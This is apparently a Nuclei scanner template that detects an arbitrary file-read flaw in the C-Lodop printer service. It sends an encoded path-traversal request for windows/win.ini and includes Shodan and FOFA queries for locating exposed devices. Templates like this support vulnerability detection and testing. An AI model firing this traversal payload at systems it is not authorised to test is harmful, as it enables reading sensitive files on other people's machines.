id: clodop-printer-lfi

info:
  name: C-Lodop Printer - Arbitrary File Read
  author: DhiyaneshDk
  severity: high
  description: |
    The C-Lodop printer has an arbitrary file reading vulnerability. By constructing a special URL, it can read any file in the system.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/8e4f0be1f75a71cffe4b2c2c558ad1cd4d03d9a7/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/C-Lodop%E6%89%93%E5%8D%B0%E6%9C%BA%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  classification:
    cwe-id: CWE-23
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Welcome to C-Lodop"
    fofa-query: title="C-Lodop"
  tags: c-lodop,lfi,printer,iot,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200
# digest: 490a0046304402204ff19e32f8b143f6c8d15244bc862bfb62f76ac7f8114be4f37c5e786fb059a2022065727e55cfa369cdd6c174dc2470dd3e7503f26551a8c703b99fdda928a75383:922c64590222798bb761d5b6d8e72950